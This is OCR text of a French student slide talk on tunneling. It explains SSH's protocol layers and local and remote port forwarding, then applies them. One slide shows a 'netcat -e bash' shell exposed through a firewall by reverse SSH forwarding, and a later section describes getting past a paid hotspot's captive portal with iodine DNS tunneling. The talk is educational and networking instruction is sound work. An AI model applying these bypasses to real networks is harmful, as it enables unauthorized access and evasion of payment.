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Le tunneling est un outil de plus en plus sollicité
e Solutions réseau

e Solutions logiciel

e Sécurite

e [nsécurite



Les choses que nous allons aborder

e Le tunneling c’est quoi ?
e ['étude de l'outil SSH
 Pourquoi et comment utiliser le tunneling



Le tunneling

 Tout d’abord, qu’est ce qu’un tunnel
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Le tunneling

e Un tunnel pour un fan du modelé OSI :

Réseau

€ Mon dieu 17

Transport

Réseau

Liaison de données

Physique

IP

GRE

« Un prg@
protocol

tocole qui encapsule ur
e de niveau plus bas ou

Ethernet

100Base-T

égal. »



Le tunneling

Rappel qui peut s’avérer utile:

 Ethernet, 802.11 => 0SI 2 b Fensoir
e |P ICMP = 0S| 3 | ,
Réseau
e TCP,UDP = 0OSl 4
Liaison données
e TLS/SSL =» 0S|I 6
Physique

* DNS, SSH, HTTP, TELNET => 0S|I 7
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Le tunneling

=>»Le tunneling c’est I'art d’utiliser des tunnels.
=>» C’est un concept qui reste tres simple.

=>» Permet néanmoins de faire de grandes choses.



Le tunneling

Trucs faux qu’on entend souvent :

S
* « Tunneling c’est pareil que VPN» «\\»\/

e « Le JAVA c'est plus rapide que le C » (@“
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'outil SSH

 Pourquoi je vous parle maintenant de SSH:
— Permet de faire du tunneling
— Va étre utilisé au cours de I'exposé

* Objectif de cette partie: Comprendre
comment SSH permet le tunneling



'outil SSH

* Secure Shell (v2) | |
* Protocole applicatif (OSI 7) [ v

e RFC 4250 ->4255:
— 4251 « The SSH Protocol Architecture »
— 4252 « The SSH Authentication Protocol »
— 4253 « The SSH Transport Layer Protocol »
— 4254 « The SSH Connection Protocol »
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'outil SSH — Architecture logicielle

SSH est organisé en 3 protocoles :

55H Connection Protocol
= . Plus d’explications dans

Multiplexe la connexion chiffrée en plusieurs. les slides & venir
' canaux logigues

Le client est authentifié
aupres du serveur SSH

SS5H Transport Layer Protocol
port Lay Le serveur SSH est authentifié

et on a notre connexion

Authentifie le serveur, confidentialite, intégrité o
chiffrée

[et compression]
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'outil SSH — Architecture logicielle

e SSH Transport Layer Protocol:

>

— Echange versions SSH
— Echange algorithme chiffrement

— Echange des clefs via Diffie
Hellman. Uauthentification du
serveur se fait pendant I'échange
Diffie Hellman.

Serveur authentifié et
Connexion chiffrée

Identification String
Exchange

JAlgorithm Negotiation

End of Key
Exchange

Service Request

Clien

~—

Establish TCP Connection

SSH-protoversion-softwareversion

A

$SH-protoversion-softwareversion

SSH_MSG_KEXINIT

SSH_MSG_KEXINIT

Y

Key Exchange

SSH_MSG_NEWKEYS

SSH_MSG_NEWKEYS

A

SSH_MSG_SERVICE_REQUEST

Y

Source — Cisco.com




'outil SSH — Architecture logicielle

e SSH User Authentication Protocol:

byte  SSH_MSG_USERAUTH_REQUEST (50)

string username

- Cllent enVOIe string  service name

string method name

method-specific fields

— Plusieurs méthodes :
* Publickey = Chiffrement asymétrique. Le client dispose paire de clefs.
e Password =@ Le client envoie le mot de passe (chiffré car dans SSH TLP).
* Hostbased =2 Idem que publickey mais pour un host (permet multi client).



'outil SSH — Architecture logicielle

e SSH Connection Protocol:
— Fonctionne au dessus de SSH Transport Layer Protocol.
— La session terminal de SSH.
— Permet la création de tunnels.



'outil SSH — Architecture logicielle

SSH Connection Protocol:
— L'ouverture d’une session ( d’un canal):

6.1. Opening a Session

A session is started by sending the following message.

byte SSH_MSG_CHANNEL OPEN
string "session"

uint32 sender channel
uint32 initial window size
uintc32 maximum packet size

Source — RFC 4254
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'outil SSH — Architecture logicielle

SSH Connection Protocol:
— Par défaut, 'ouverture d’un shell:

byte SSH MSG_CHANNEL REQUEST
uintc32 recipient channel
string "shell"™

boolean want reply

This message will request that the user's default shell (typically
defined in /etc/passwd in UNIX systems) be started at the other end.

Source — RFC 4254

Certains voient les données du shell comme les données utiles
propres a SSH.
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'outil SSH — Architecture logicielle

e SSH Connection Protocol:
— TCP/IP Port Forwarding =»

— Deux types de port forwarding:
* Local port forwarding
e Remote port forwarding



'outil SSH — Architecture logicielle

e SSH Connection Protocol:

— Local port forwarding :
1. Le client Cinitie une connexion SSH vers le serveur SSH S.
2. Le client écoute un port X sur une interface Y.
3. Pour chaque connexion sur Y:X le client envoi au serveur:

byte SS5H MSG_CHANNEL OPEN
string "direct-tcpip®

uint32 sender channel

uint32 initial window size
uint32 maximum packet size
string host to connect
uint32 port to connect
string originator IP address
uint32 originator port

4. Le client retransmet alors les données dans le canal crée.

5. Le serveur retransmet le trafic vers « host to connect » sur le « port to
connect ».



'outil SSH — Architecture logicielle

e SSH Connection Protocol:
— Local port forwarding : « Ssh —L localhost:7777:blubizzare:80 serveurSSH»

Une regudte HTTP vers localhost: 7777

Client Serveur SSH bulbizzare

5%H serveur port 22

— - Service ecoutant
Conmexian 55H étable
sur le port 80
] H 1 r et y Mouvelle connewson TCP
Requite HTTR vers bulbizzare Rrguéte HTTE vers hulbizzare
| ¥ |
Ecoute maintenant sur s 1 &)
re ™, /
I'interface loopback ", /
sur le port 7777 o
S5H_MSG._ CHAMNEL OPEN
% direct-tcpip »

Host o connect ; bulblzzare
Port to connect : B0
Origenator 1P address @ P du Client
Originatar port - = 1024
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'outil SSH — Architecture logicielle

SSH Tunnel applicatif (exemple précédent):

SSH Transport Layer Protocol

Présentation

Présentation

5 Ré:
Réseau st

= . Liaison données
Liaison donnees

Tunnel « applicatif sur
applicatif »

Physique

Physique

Xposé systéeme et réseau

Yannick Lambruschi 21



'outil SSH — Architecture logicielle

e SSH Connection Protocol:

— Reverse port forwarding :

1. Le client Cinitie une connexion SSH vers le serveur SSH S.
2. Le client envoie:

byte SSH MSG GLOBAL REQUEST

string "tepip-forward"

boolean want reply

string address to bind (e.g., "0.0.0.0")
uint32 port number to bind

3. Le serveur écoutera alors sur son interface X sur le port Y.



'outil SSH — Architecture logicielle

e SSH Connection Protocol:
— Reverse port forwarding (suite):

4. Lorsqu’une connexion est initiée sur le X:Y du serveur, ce dernier envoie au

client : o

yte

string
uint32
uint32
uint32
string
uint32
string

uint32

SSH M3G CHANNEL OPEN
"forwarded-tcpip"

sender channel

initial window =size
maximum packet =ize
address that was connected
port that was connected
originator IF address

originator purﬁ

5. Un canal est ouvert vers le client, les données seront transférées vers le
client qui retransmettra vers le port et I'adresse voulues (définis dans la

commande ssh du client).



'outil SSH — Architecture logicielle

 SSH Connection Protocol:
— Reverse port forwarding :« ssh —R ipbulbizzare:7777:ipSalameche:21»

bulbizzare Alice

55H serweur paort 22

-
beuEte FTR idonnies utiles) Requite FTP vers bulbizzara: 7777
S5H_MSG_CHANMNEL_OPEN Ecoute maintenant sur
forwarded-tcpi = >
' i I'interface ethO (ip
Address that was connected | Bulbizzare [P H i he 4+
Port that was connected : 7777 bulbizzare) sur le port
Originater P address ; Alice 1P TI77
Originator port - > 1024

Ll
Salameche

Servaur FTP port 21
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'outil SSH — Architecture logicielle

Ce gu’il faut retenir :

=>»Local port forwarding

=» Remote port forwarding

=» Connexion authentifiée et chiffrée

=»SSH est un outil puissant pour faire du
tunneling.



Pourquoi et comment utiliser le tunneling

e Par souci de sécurité
e Pour étendre son réseau

e Pour outrepasser la sécurité



Pourquoi et comment utiliser le tunneling

e Souci de sécurité

— Un protocole qui implémente un algorithme de
chiffrement un peu dépassé.

— Un protocole sensible aux exploits.
— Un protocole développé par Microsoft ?
— Exemple : RDP [Remote Desktop Protocol]



Pourquoi et comment utiliser le tunneling

e Souci de sécurité [RDP] :

Bulbi — Seryeur 55H

Firewall: Port 3389 puvert
Redirection de port

192.168.0.200

Sala —Serveur ROP

P Routeur
NAT/PAT
Redirection de |port

192.168.0.201

Xposé systeme et réseau
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Pourquoi et comment utiliser le tunneling

e Sécuriser RDP:

Firewall: Port 22 oupert

P Routeur
NAT/PAT
Redirection de |port

Ssh —L localhost:7777:192.168.0.201:3389 bulbi

Bulbi — Seryeur 55H

2.168.0.200

dad

=Serveur RDP

192.168.0.201

Xposé systéeme et réseau
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Pourquoi et comment utiliser le tunneling

 Etendre son réseau [VPN]:

— Relier des LAN distants sans utiliser de liaisons
louées



Pourquoi et comment utiliser le tunneling

Réseau

e Etendre son réseau [VPN]: T

— Encapsuler les paquets IP. _

Plusieurs facons :

Présentation

OpenVPN e

GRE, IPSec Nat Traversal Réseau
IP/IP

Réseau

Liaison données

Physique

Xposé systeme et réseau
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Pourquoi et comment utiliser le tunneling

 Etendre son réseau [VPN] :

Demonstration




Pourquoi et comment utiliser le tunneling

e Outrepasser la sécurité :
— Reverse Tunneling [Firewall bypass]
— lodine [Dns Tunneling]



Pourquoi et comment utiliser le tunneling

e Qutrepasser la sécurité « Reverse Tunneling »:

Ecoute maintenant sur
le port 7777

Melofee - Serveur
SSH

Dark PC

Netcat —e bash

Ecoute sur port 8888

FareFeu:
Carapuce — PC de bureau

le ne laisse rien entrer
Grrrl

192.168.0.200

Ssh —R 7777:localhost:8888 melofee
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Pourquoi et comment utiliser le tunneling

e Qutrepasser un portail captif « lodine »:

I NTERNET

Dark PC

Xposé systéeme et réseau
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Pourquoi et comment utiliser le tunneling

e Rappel sur les portails captifs

| A%YE%BB%?J?%{%‘%@&&SH
i Bkesdetmintemat o ove
kHHyﬁﬁEet%rPH ‘Hﬁ:éﬂ@rﬂﬁ#gﬁé%%—w’ SPEERIRE blabla

d'accéder a Internet.

Requéte HTTP ?



Pourquoi et comment utiliser le tunneling

e Rappel sur les portails captifs

Le portail captif intercepte les requétes HTTP et
force alors le client a naviguer sur le serveur
WEB du portail captif.



Pourquoi et comment utiliser le tunneling

e Rappel sur les portails captifs
Pas d’adresse |IP =2 Pas de requéte HTTP

Serveur introuvable

-
b

Firefox ne peut trouver le serveur a I'adresse www.pokemon.fr.

m Veuillez vérifier la syntaxe de I'adresse (saisie de ww.exemple.com au lieu de
www.exemple.com par exemple) ;

m 5| vous n'arrivez a naviguer sur aucun site, vérifiez la connexion au réseau de votre
ordinateur ;

m 5 votre ordinateur ou votre réseau est protégé par un pare-feu ou un proxy,
assurez-vous que Firefox a I'autorisation d'acceder au Web.

| Reessayer |

Xposé systeme et réseau
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Pourquoi et comment utiliser le tunneling

e Rappel sur les portails captifs:
Conclusion :

Les requétes DNS sont autorisées a sortir, méme
guand nous ne sommes pas authentifié.



Pourquoi et comment utiliser le tunneling

e Qutrepasser un portail captif « lodine »:
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Pourquoi et comment utiliser le tunneling

e Qutrepasser un portail captif « lodine »:

Parefeu:
Ne laisse sortir que r

I NTERNET
= DNS de Rondoudou

lRoucoups

Mon serveur DNS
Domaine : plop.fr
lodined (udp 53)

HotSpot payant
Paortail captif

Pguétes

Serveur DNS privé
(DMZ)

Dark PC

Xposé systéeme et réseau
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Pourquoi et comment utiliser le tunneling

e Qutrepasser un portail captif « lodine »:

Demonstration



Pourquoi et comment utiliser le tunneling

e Qutrepasser un portail captif « lodine »:

— Inconvénients :

e On détruit le modele OSI, on en paye les frais:
— Surcharge d’entéte
— Faible débit
— Perte de fiabilité

Liaison données

Physique
e Analyse statistique peut le détecter. Heureusement

il y a Heyoka http://heyoka.sourceforge.net/
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Webographie

RFC4250->4255

http://en.wikipedia.org/wiki/Generic Routing
Encapsulation

http://en.wikipedia.org/wiki/IPsec
http://fr.wikipedia.org/wiki/Secure Shell
De la doc Cisco

http://www.frameip.com
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Merci de votre attention
Des questions ?
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